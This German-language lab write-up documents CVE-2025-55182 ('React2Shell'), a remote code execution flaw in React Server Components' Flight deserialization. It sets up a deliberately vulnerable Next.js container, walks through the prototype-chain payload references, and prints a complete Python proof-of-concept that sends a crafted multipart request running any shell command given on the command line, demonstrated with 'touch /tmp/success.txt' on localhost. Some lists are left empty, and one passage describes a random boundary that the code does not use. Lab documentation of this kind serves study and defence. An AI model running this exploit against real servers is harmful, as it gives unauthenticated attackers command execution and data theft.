
a.k.a. React2Shell
Abschnitte, die gemäß den Aufgabenrichtlinien erforderlich sind, sind mit „(Erforderlich)“ gekennzeichnet.
Diese Umgebung verwendet ein benutzerdefiniertes Dockerfile basierend auf dem offiziellen Node.js Alpine-Image.
FROM node:20-alpine
WORKDIR /app
COPY package.json ./
RUN npm install --legacy-peer-deps
COPY . .
EXPOSE 3000
CMD ["npm", "run", "dev"]
Das Dockerfile erstellt eine anfällige React Server Components (RSC) und Next.js App Router Umgebung.
Die Umgebung installiert anfällige Versionen von:
Der anfällige Server läuft im Entwicklungsmodus mit npm run dev.
Der anfällige Server läuft im Entwicklungsmodus mit npm run dev.
Die Umgebung arbeitet mit der folgenden Struktur:
[Angreifer / exploit.py]
↓
[Next.js App Router]
↓
[React Flight Protocol Parser]
↓
[React Server Components Runtime]
↓
[Node.js Runtime]
Der Angreifer sendet eine speziell präparierte multipart/form-data-Anfrage an die anfällige Next.js-Anwendung.
Die schädliche Nutzlast missbraucht den Deserialisierungsprozess des React Flight-Protokolls.
Die anfällige Anwendung verwendet die Next.js App Router-Architektur.
Die Anfrage wird durch die React Server Components-Pipeline verarbeitet.
Der Quellcode der Anwendung befindet sich im Verzeichnis src/app/.
src/
└── app/
├── layout.js
└── page.js
Die Datei layout.js definiert das Root-Layout, das für die App Router-Struktur erforderlich ist, und initialisiert die React Server Components-Umgebung.
export default function RootLayout({ children }) {
return (<html><body>{children}</body></html>);
}
Die Datei page.js definiert die Root-Seite, die unter / gerendert wird, und zeigt eine einfache Nachricht an, dass der anfällige Server läuft.
export default function Page() {
return (<h1>Vulnerable Server</h1>);
}
Die Projektabhängigkeiten und Ausführungsskripte werden über die Datei package.json verwaltet.
{
"name": "cve-2025-55182-vuln-app",
"version": "1.0.0",
"private": true,
"scripts": {
"dev": "next dev -p 3000"
},
"dependencies": {
"next": "15.0.0",
"react": "19.0.0-rc-65a56d0e-20241020",
"react-dom": "19.0.0-rc-65a56d0e-20241020",
"react-server-dom-webpack": "19.0.0-rc-65a56d0e-20241020"
}
}
Diese Datei definiert anfällige Versionen von:
Die anfällige Anwendung wird ausgeführt mit:
"scripts": {
"dev": "next dev"
}
Der Server wird gestartet über:
npm run dev
was den anfälligen Next.js-Entwicklungsserver auf Port 3000 startet.
Das Flight-Protokoll deserialisiert komplexe React-Objekte wie:
Die Schwachstelle tritt während dieses Deserialisierungsprozesses auf.
Die React-Laufzeit verarbeitet vom Angreifer kontrollierte Flight-Nutzlasten.
Unsicherer Eigenschaftszugriff und Prototypenzugriff ermöglichen es Angreifern schließlich, den Function-Konstruktor zu kapern.
Nach erfolgreicher Ausnutzung wird beliebiger JavaScript-Code innerhalb der Node.js-Serverumgebung ausgeführt.
Dies führt zu Remote Code Execution (RCE).
| Komponente | Version |
|---|---|
| Node.js | 20-alpine |
| Next.js | 15.0.0 |
| React | 19.0.0-rc |
| react-dom | 19.0.0-rc |
Die Umgebung verwendet anfällige React Server Components- und Flight-Protokoll-Implementierungen.
CVE-2025-55182, auch bekannt als React2Shell, ist eine kritische Remote Code Execution (RCE)-Schwachstelle, die React Server Components und das React Flight-Protokoll betrifft.
Die Schwachstelle tritt während des Deserialisierungsprozesses von vom Angreifer kontrollierten Flight-Protokoll-Nutzlasten auf.
Das Problem ermöglicht Angreifern:
Die Schwachstelle ist besonders gefährlich, da die Ausnutzung ohne Authentifizierung mit einer einzigen präparierten HTTP-Anfrage erfolgen kann.
Anwendungen, die anfällige React Server Components und Next.js App Router-Konfigurationen verwenden, sind direkt exponiert.
Die Grundursache der Schwachstelle ist die unsichere Handhabung von vom Angreifer kontrollierten Objektreferenzen während der Flight-Protokoll-Deserialisierung.
React Flight verwendet intern spezielle Referenzstrings wie:
$@0
$B1337
$1:__proto__:then
Diese Referenzen werden während der Deserialisierung rekursiv aufgelöst.
Die anfällige Logik führt Eigenschaftszugriffe aus, die ähnlich sind wie:
value[path[i]]
ohne zu validieren, ob die Eigenschaft zum Objekt selbst gehört.
Infolgedessen können Angreifer auf gefährliche Eigenschaften der JavaScript-Prototyp-Kette zugreifen, wie:
__proto__
constructor
prototype
Dies ermöglicht letztendlich Prototyp-Verschmutzung und das Kapern des Function-Konstruktors.
Der Angreifer erstellt zuerst ein gefälschtes React-Chunk-Objekt.
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "touch /tmp/success.txt",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
Das kritische Feld ist:
"status": "resolved_model"
Die React-Laufzeit vertraut diesem Feld fälschlicherweise und behandelt das vom Angreifer kontrollierte Objekt als legitimes internes Chunk-Objekt.
Die Nutzlast:
$1:__proto__:then
bewirkt, dass der Deserialisierer die JavaScript-Prototyp-Kette durchläuft.
Da der anfällige Code keine gefährlichen Eigenschaften validiert, erhält der Angreifer Zugriff auf:
Chunk.prototype.then
Dies verwandelt den gefälschten Chunk in ein thenable-Objekt.
Die Nutzlast:
$1:constructor:constructor
löst sich letztendlich auf zu:
Function
Dies ersetzt:
response._formData.get
mit dem globalen JavaScript-Function-Konstruktor.
Als Ergebnis wird:
Function(vom_Angreifer_kontrollierte_Nutzlast)
möglich.
Die Nutzlast:
$B1337
zwingt den React Flight-Parser in die Blob-Parsing-Logik.
Während dieses Prozesses wird:
response._formData.get(...)
ausgeführt.
Der Angreifer hat diese Funktion jedoch bereits durch den globalen Function-Konstruktor ersetzt.
Dies führt letztendlich zur Ausführung beliebigen JavaScript-Codes innerhalb der Node.js-Laufzeit.
Der Exploit-Prozess läuft in der folgenden Reihenfolge ab:
Angreifer-Anfrage
↓
Flight-Nutzlast-Parsing
↓
Erstellung gefälschter Chunks
↓
Prototyp-Verschmutzung
↓
Kapern des Function-Konstruktors
↓
Blob-Parsing-Trigger
↓
Promise-Auflösung
↓
Remote Code Execution
Der Angreifer sendet zuerst eine präparierte Multipart-Flight-Anfrage.
Der anfällige Server deserialisiert die schädliche Nutzlast und löst rekursiv vom Angreifer kontrollierte Referenzen auf.
Unsicheres Prototyp-Traversal ermöglicht dem Angreifer schließlich, den Function-Konstruktor zu kapern.
Während der Promise-Auflösung und des Blob-Parsings wird beliebiger JavaScript-Code ausgeführt.
Eine erfolgreiche Ausnutzung ermöglicht es Angreifern, beliebigen JavaScript-Code innerhalb der Node.js-Serverumgebung auszuführen.
In dieser Umgebung führt der Exploit aus:
touch /tmp/success.txt
Eine erfolgreiche Ausnutzung wird bestätigt, wenn die folgende Datei im Container existiert:
/tmp/success.txt
In realen Umgebungen könnten Angreifer:
Die Schwachstelle ist besonders gefährlich, da sie die internen Abläufe des React-Frameworks betrifft und nicht die Geschäftslogik der Anwendung.
Dies bedeutet, dass eine große Anzahl von Anwendungen allein durch die Verwendung betroffener Framework-Versionen anfällig werden kann.
Der Proof of Concept (PoC) wurde in Python geschrieben.
Der Exploit sendet eine schädliche multipart/form-data-Anfrage direkt an die anfällige Next.js-Anwendung.
Der PoC führt folgende Aktionen aus:
import requests
import sys
def exploit_rce(url, command):
headers = {
"Host": "localhost",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36",
"Next-Action": "x",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
}
payload_json = (
'{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
'"value":"{\\"then\\":\\"$B1337\\"}","_response":{'
f'"_prefix":"process.mainModule.require(\'child_process\').execSync(\'{command}\');",'
'"_formData":{"get":"$1:constructor:constructor"}}}'
)
data = (
"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
"Content-Disposition: form-data; name=\"0\"\r\n"
"\r\n"
f"{payload_json}\r\n"
"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
"Content-Disposition: form-data; name=\"1\"\r\n"
"\r\n"
"\"$@0\"\r\n"
"------WebKitFormBoundaryx8jO2oVc6SWP3Sad--\r\n"
)
try:
print(f"[*] Sending RCE payload to {url}...")
print(f"[*] Command: {command}")
response = requests.post(url, headers=headers, data=data, timeout=10)
print(f"[*] Status Code: {response.status_code}")
print(f"[*] Response Body Preview: {response.text[:500]}")
except Exception as e:
print(f"[!] Error: {e}")
if __name__ == "__main__":
target_url = "http://localhost:3000"
cmd = "touch /tmp/success.txt"
if len(sys.argv) > 1:
cmd = sys.argv[1]
if len(sys.argv) > 2:
target_url = sys.argv[2]
exploit_rce(target_url, cmd)
Die Exploit-Nutzlast verwendet mehrere speziell präparierte Flight-Protokoll-Referenzen.
$1:__proto__:then| Teil | Zweck |
|---|---|
$1 | Referenziert Chunk 1 |
__proto__ | Durchläuft die Prototyp-Kette |
then | Ruft Chunk.prototype.then ab |
Diese Nutzlast verwandelt den gefälschten Chunk in ein thenable-Objekt.
$1:constructor:constructor| Teil | Zweck |
|---|---|
$1 | Referenziert Chunk 1 |
constructor | Greift auf den Objekt-Konstruktor zu |
constructor | Löst sich zum globalen Function-Konstruktor auf |
Diese Nutzlast kappt den JavaScript-Function-Konstruktor.
$B1337Das Präfix $B zwingt den Flight-Parser in die Blob-Parsing-Logik.
Während dieses Prozesses wird:
response._formData.get(...)
ausgeführt.
Da der Angreifer diese Methode bereits durch den Function-Konstruktor ersetzt hat, wird beliebiger JavaScript-Code ausgeführt.
$@0Diese Nutzlast erzeugt eine zirkuläre Chunk-Referenz.
Chunk 1 referenziert letztendlich erneut Chunk 0.
Diese Struktur ermöglicht es dem Deserialisierer, das vom Angreifer kontrollierte gefälschte Chunk-Objekt während des Prototyp-Traversals zu verwenden.
Der Exploit erstellt zuerst eine zufällige Multipart-Grenze.
boundary = "----WebKitFormBoundary" + uuid.uuid4().hex
Dies ist erforderlich, um eine gültige multipart/form-data-Anfrage zu konstruieren.
Der Exploit konstruiert ein schädliches gefälschtes Chunk-Objekt.
"status":"resolved_model"
Dies bewirkt, dass die React-Laufzeit das vom Angreifer kontrollierte Objekt als gültigen internen Chunk behandelt.
Die folgende Nutzlast:
$1:__proto__:then
zwingt den anfälligen Parser, die JavaScript-Prototyp-Kette zu durchlaufen.
Die folgende Nutzlast:
$1:constructor:constructor
ersetzt die interne get-Methode durch den JavaScript-Function-Konstruktor.
Die Nutzlast:
require('child_process').execSync('touch /tmp/success.txt')
wird schließlich innerhalb der Node.js-Laufzeit ausgeführt.
Eine erfolgreiche Ausnutzung erzeugt:
/tmp/success.txt
innerhalb des anfälligen Containers.
Der vollständige Exploit-Ablauf ist unten zusammengefasst:
Docker-Umgebung starten
↓
Anfälligen Next.js-Server ausführen
↓
exploit.py ausführen
↓
Schädliche Flight-Nutzlast senden
↓
Prototyp-Verschmutzung auslösen
↓
Function-Konstruktor kapern
↓
Blob-Parsing auslösen
↓
Beliebigen Code ausführen
↓
/tmp/success.txt überprüfen
Das Docker-Image erstellen.
docker build -t rsc-vuln .
Den anfälligen Container ausführen.
docker run -d -p 3000:3000 --name my-vuln-server rsc-vuln
Der anfällige Next.js-Server läuft auf:
http://127.0.0.1:3000
Das PoC-Skript ausführen.
python3 exploit.py
Der Exploit sendet eine schädliche React Flight-Nutzlast an den anfälligen Next.js-Server.
Überprüfen, ob der Exploit die Zieldatei erfolgreich erstellt hat.
docker exec -it my-vuln-server ls -la /tmp/success.txt
Eine erfolgreiche Ausnutzung bestätigt, dass eine beliebige Codeausführung im anfälligen Container stattgefunden hat.
Bei erfolgreicher Ausnutzung sollte der Exploit die React Flight-Deserialisierung und das Prototyp-Traversal auslösen.
Der anfällige Server verarbeitet die schädliche Flight-Nutzlast und führt vom Angreifer kontrollierten JavaScript-Code aus.
Eine erfolgreiche Ausnutzung wird bestätigt, wenn die folgende Datei existiert:
/tmp/success.txt
Beispielausgabe:
-rw-r--r-- 1 root root 0 Jan 1 00:00 /tmp/success.txt
Dies bestätigt, dass beliebige Befehle erfolgreich innerhalb der anfälligen Node.js-Umgebung ausgeführt wurden.
Die folgenden Screenshots wurden im Verzeichnis screenshots/ eingefügt:


| react-server-dom-webpack |
| 19.0.0-rc |